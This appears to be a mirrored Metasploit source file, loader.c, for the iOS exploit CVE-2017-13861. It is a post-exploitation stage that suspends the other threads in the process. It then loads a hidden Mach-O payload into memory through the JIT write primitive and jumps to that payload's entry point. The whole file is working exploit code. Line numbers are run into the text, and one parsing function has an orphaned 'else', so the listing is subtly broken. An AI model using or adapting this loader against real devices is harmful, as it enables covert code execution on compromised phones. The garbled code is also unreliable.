Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/loader.c
Views: 11780
#include <stdio.h>12#include <dlfcn.h>34#include <mach/mach.h>56#include <mach-o/fat.h>7#include <mach-o/loader.h>8#include <sys/mman.h>9#include <mach/vm_map.h>1011#include "magic.h"1213/*#define DEBUG 1*/1415//asl_log isn't working, so: idevicesyslog | grep SandboxViolation16#ifdef DEBUG17#define debug_print(fmt, ...) \18do { \19char* buffer = malloc_func(1024); \20sprintf_func(buffer, fmt, __VA_ARGS__); \21fopen_func(buffer, "w"); \22free_func(buffer); \23} while (0)24//do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)25#else26#define debug_print(fmt, ...)27#endif2829#define DLSYM_FUNC(func, library, return_type, args...) \30typedef return_type (*func##_ptr)(args); \31func##_ptr func##_func = dlsym_func(library, #func);3233typedef void* (*t_dlsym)(void* handle, const char* symbol);34typedef void* (*t_dlopen)(const char* library, int rtld);35void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend);3637void init(void* dlopen_addr, void* dlsym_addr, void* jitwrite_addr, uint64_t startOfFixMem, uint64_t endOfFixMem)38{39typedef void* (*dlsym_ptr)(void *handle, const char *symbol);40dlsym_ptr dlsym_func = dlsym_addr;41typedef void* (*dlopen_ptr)(const char *filename, int flags);42dlopen_ptr dlopen_func = dlopen_addr;4344void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);4546// Suspend threads47typedef mach_port_t (*mach_task_self_ptr)();48typedef thread_port_t (*mach_thread_self_ptr)();49typedef kern_return_t (*thread_suspend_ptr)(thread_act_t target_thread);50typedef kern_return_t (*task_threads_ptr)(task_t task, thread_act_array_t thread_list, mach_msg_type_number_t* thread_count);51void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);52mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");53mach_thread_self_ptr mach_thread_self_func = dlsym_func(libIOKit, "mach_thread_self");54thread_suspend_ptr thread_suspend_func = dlsym_func(libsystem, "thread_suspend");55task_threads_ptr task_threads_func = dlsym_func(libsystem, "task_threads");56thread_act_t current_thread = mach_thread_self_func();57mach_msg_type_number_t thread_count;58thread_act_array_t thread_list;59kern_return_t result = task_threads_func(mach_task_self_func(), (thread_act_array_t)&thread_list, &thread_count);60if (!result && thread_count) {61for (unsigned int i = 0; i < thread_count; ++i) {62thread_act_t other_thread = thread_list[i];63if (other_thread != current_thread) {64thread_suspend_func(other_thread);65}66}67}6869uint64_t payloadBuffer = endOfFixMem - (0x100000 - 0x10000);7071#ifdef DEBUG72DLSYM_FUNC(malloc, libsystem, void*, size_t)73DLSYM_FUNC(free, libsystem, void*)74DLSYM_FUNC(sprintf, libsystem, int, char* str, const char * format, ... );75DLSYM_FUNC(fopen, libsystem, FILE*, const char * filename, const char * mode );76debug_print("%s", "hello from metasploit");77debug_print("%s", "hello from metasploit");78debug_print("%s", "hello from metasploit");79debug_print("%s", "hello from metasploit");80debug_print("%s", "hello from metasploit");8182debug_print("main:%p", (void*)init);83debug_print("end:%p", (void*)endOfFixMem);84debug_print("buffer:%p", (void*)payloadBuffer);85debug_print("nbuffer:%p", (void*)*(uint64_t*)payloadBuffer);86debug_print("start:%p", (void*)startOfFixMem);87#endif8889load((void*)payloadBuffer, (t_dlsym)dlsym_func, jitwrite_addr, (void*)startOfFixMem, (void*)endOfFixMem);90}9192void fail(uint64_t x) {93*(volatile int*)(0xbad000000000ull + x) = 0xdead;94}95#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)9697#define MIN(x,y) ((x)<(y)?(x):(y))98#define MAX(x,y) ((x)>(y)?(x):(y))99100void performJITMemcpy(t_dlsym _dlsym, void* jitwrite, void* startOfFixMem, void* dst, void* src, size_t size)101{102typedef void (*JITWriteSeparateHeapsFunction)(off_t, const void*, size_t);103JITWriteSeparateHeapsFunction jitWriteSeparateHeapsFunction = jitwrite;104ASSERT(jitWriteSeparateHeapsFunction);105ASSERT(startOfFixMem);106107int (*_memcmp)(const void *, const void*, size_t) = _dlsym(RTLD_DEFAULT, "memcmp");108109off_t offset = (off_t)((uintptr_t)dst - (uintptr_t)startOfFixMem);110jitWriteSeparateHeapsFunction(offset, src, size);111112ASSERT(!_memcmp(dst, src, size));113}114115static inline uintptr_t read_uleb128(uint8_t** pp, uint8_t* end)116{117uint8_t* p = *pp;118uint64_t result = 0;119int bit = 0;120do {121ASSERT(p != end);122uint64_t slice = *p & 0x7f;123ASSERT(bit <= 63);124else {125result |= (slice << bit);126bit += 7;127}128} while (*p++ & 0x80);129130*pp = p;131return result;132}133134static inline uintptr_t read_sleb128(uint8_t** pp, uint8_t* end)135{136uint8_t* p = *pp;137int64_t result = 0;138int bit = 0;139uint8_t byte;140do {141ASSERT(p != end);142byte = *p++;143result |= (((int64_t)(byte & 0x7f)) << bit);144bit += 7;145} while (byte & 0x80);146// sign extend negative numbers147if ( (byte & 0x40) != 0 )148result |= (-1LL) << bit;149*pp = p;150return result;151}152153// <3 qwerty154void rebase(struct dyld_info_command* dyld_info,155uint8_t* map,156uintptr_t* segstart,157uintptr_t linkedit_base,158uintptr_t reloc_slide) {159uint8_t* start = map + dyld_info->rebase_off + linkedit_base;160uint8_t* end = start + dyld_info->rebase_size;161uintptr_t address = (uintptr_t)map;162uintptr_t count = 0, skip = 0;163char done = 0;164uint8_t* p = start;165while (!done && (p < end)) {166uint8_t immediate = *p & REBASE_IMMEDIATE_MASK;167uint8_t opcode = *p & REBASE_OPCODE_MASK;168++p;169170switch (opcode) {171case REBASE_OPCODE_DONE:172done = 1;173break;174case REBASE_OPCODE_SET_TYPE_IMM:175ASSERT(immediate == REBASE_TYPE_POINTER);176break;177case REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:178address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));179break;180case REBASE_OPCODE_ADD_ADDR_ULEB:181address += read_uleb128(&p, end);182break;183case REBASE_OPCODE_ADD_ADDR_IMM_SCALED:184address += immediate * sizeof(uintptr_t);185break;186case REBASE_OPCODE_DO_REBASE_IMM_TIMES:187for (int i=0; i < immediate; ++i) {188*(uintptr_t*)(address) += reloc_slide;189address += sizeof(uintptr_t);190}191break;192case REBASE_OPCODE_DO_REBASE_ULEB_TIMES:193count = read_uleb128(&p, end);194for (int i = 0; i < count; ++i) {195*(uintptr_t*)(address) += reloc_slide;196address += sizeof(uintptr_t);197}198break;199case REBASE_OPCODE_DO_REBASE_ADD_ADDR_ULEB:200*(uintptr_t*)(address) += reloc_slide;201address += read_uleb128(&p, end) + sizeof(uintptr_t);202203break;204case REBASE_OPCODE_DO_REBASE_ULEB_TIMES_SKIPPING_ULEB:205count = read_uleb128(&p, end);206skip = read_uleb128(&p, end);207for (int i = 0; i < count; ++i) {208*(uintptr_t*)address += reloc_slide;209address += skip + sizeof(uintptr_t);210}211break;212213default:214ASSERT(0);215break;216}217}218}219220void bindit(struct dyld_info_command* dyld_info,221uint8_t* map,222uintptr_t* segstart,223uintptr_t linkedit_base,224t_dlsym _dlsym) {225uint8_t* start = map + dyld_info->bind_off + linkedit_base;226uint8_t* end = start + dyld_info->bind_size;227uintptr_t address = (uintptr_t)map;228uintptr_t count = 0, skip = 0;229char done = 0;230unsigned char type = 0;231uint8_t* p = start;232char* symbolName=0;233234while (!done && (p < end)) {235uint8_t immediate = *p & BIND_IMMEDIATE_MASK;236uint8_t opcode = *p & BIND_OPCODE_MASK;237++p;238switch (opcode) {239case BIND_OPCODE_DONE:240done = 1;241break;242case BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:243break;244case BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:245read_uleb128(&p, end);246break;247case BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:248break;249case BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:250symbolName = (char*)p;251while (*p != '\0')252++p;253++p;254break;255case BIND_OPCODE_SET_TYPE_IMM:256break;257case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:258address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));259break;260case BIND_OPCODE_SET_ADDEND_SLEB:261read_sleb128(&p, end);262break;263case BIND_OPCODE_ADD_ADDR_ULEB:264address += read_uleb128(&p, end);265break;266case BIND_OPCODE_DO_BIND:267*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);268address += sizeof(uintptr_t);269break;270case BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:271*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);272address += read_uleb128(&p, end) + sizeof(uintptr_t);273break;274case BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:275*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);276address += (immediate + 1) * sizeof(uintptr_t);277break;278case BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB:279count = read_uleb128(&p, end);280skip = read_uleb128(&p, end);281for (uint32_t i = 0; i < count; ++i) {282*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);283address += skip + sizeof(uintptr_t);284}285break;286default:287ASSERT(0);288}289}290}291292void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend)293{294# define FOR_COMMAND \295lc = (void*)(header + 1); \296for (int i = 0; i < header->ncmds; ++i, lc = (void*)((char*)lc + lc->cmdsize)) { \297298# define FOR_SEGMENT_64 \299FOR_COMMAND \300if (lc->cmd != LC_SEGMENT_64) \301continue; \302struct segment_command_64* sc = (void*)lc; \303if (!_strcmp(sc->segname, "__PAGEZERO")) \304continue;305306void* (*_mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset);307void* (*_memcpy)(void *restrict dst, const void *restrict src, size_t n);308int (*_strcmp)(const char *s1, const char *s2);309310_mmap = _dlsym(RTLD_DEFAULT, "mmap");311_memcpy = _dlsym(RTLD_DEFAULT, "memcpy");312_strcmp = _dlsym(RTLD_DEFAULT, "strcmp");313314uintptr_t exec_base = -1, exec_end = 0,315write_base = -1, write_end = 0,316base = -1, end = 0;317318uint32_t* x = (uint32_t*)buffer;319while (*x != 0xfeedfacf)320x--;321322struct mach_header_64* header = (struct mach_header_64*)x;323struct load_command* lc;324uintptr_t linkedit_base = 0;325uintptr_t segstart[32];326int segcnt = 0;327328FOR_SEGMENT_64329uintptr_t from = sc->vmaddr, to = from + sc->vmsize;330segstart[segcnt++] = from;331if (!_strcmp(sc->segname, "__LINKEDIT"))332linkedit_base = sc->vmaddr - sc->fileoff;333if (sc->initprot & VM_PROT_EXECUTE) {334exec_base = MIN(exec_base, from);335exec_end = MAX(exec_end, to);336}337if (sc->initprot & VM_PROT_WRITE) {338write_base = MIN(write_base, from);339write_end = MAX(write_end, to);340}341base = MIN(base, from);342end = MAX(end, to);343}344345uint8_t* tmpmap = _mmap(0, end - base, PROT_WRITE | PROT_READ,346MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);347ASSERT(tmpmap);348349FOR_SEGMENT_64350_memcpy(tmpmap + sc->vmaddr, (char*)header + sc->fileoff, sc->filesize);351}352353ASSERT(write_base >= exec_end);354void* rw = _mmap(jitend, end - write_base, PROT_READ|PROT_WRITE,355MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);356ASSERT(rw == jitend);357358uint8_t* finalmap = jitend - write_base + base;359360uintptr_t reloc_slide = (uintptr_t)finalmap;361362FOR_COMMAND363if (lc->cmd == LC_DYLD_INFO_ONLY || lc->cmd == LC_DYLD_INFO) {364rebase((void*)lc, tmpmap, segstart, linkedit_base, reloc_slide);365bindit((void*)lc, tmpmap, segstart, linkedit_base, _dlsym);366}367}368369if (jitwrite && jitstart) {370performJITMemcpy(_dlsym, jitwrite, jitstart, finalmap, tmpmap, write_base - base);371} else {372_memcpy(finalmap, tmpmap, (write_base - base) - 1);373}374_memcpy(rw, tmpmap + write_base - base, end - write_base);375376void (*entrypoint)();377FOR_SEGMENT_64378uint64_t* x = (void*)(finalmap + sc->vmaddr);379while ((char*)x != (char*)(finalmap + sc->vmaddr + sc->vmsize)) {380if (*x == MAGIC) {381entrypoint = (void*)*(x+1);382goto found_entrypoint;383}384x++;385}386}387388found_entrypoint:389390entrypoint();391}392393int main()394{395return 0;396}397398399400